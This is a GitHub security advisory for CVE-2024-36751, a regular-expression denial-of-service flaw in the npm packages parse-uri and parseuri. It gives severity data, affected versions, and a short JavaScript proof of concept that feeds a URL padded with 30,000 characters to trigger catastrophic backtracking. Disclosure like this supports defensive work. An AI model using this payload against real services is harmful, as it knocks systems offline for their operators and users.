GitHub Advisoryadvisory · npm
GHSA-6fx8-h7jm-663j parse-uri Regular expression Denial of Service (ReDoS)
MEDIUM
Official page ↗
- Aliases
- CVE-2024-36751
- Ecosystem
- npm
- Packages
- parse-uri, parseuri
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
- Weaknesses
- CWE-1333, CWE-185
- Reviewed
- 2025-01-17
Affected packages
• npm parse-uri: <= 1.0.9 (no fix yet)
• npm parseuri: < 2.0.0 (no fix yet)
Description
An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.
## PoC
```js
async function exploit() {
const parseuri = require("parse-uri");
// This input is designed to cause excessive backtracking in the regex
const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
const result = await parseuri(craftedInput);
}
await exploit();
```
Related
Alias · CVE (1)
- CVE-2024-36751 An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL. vulnerability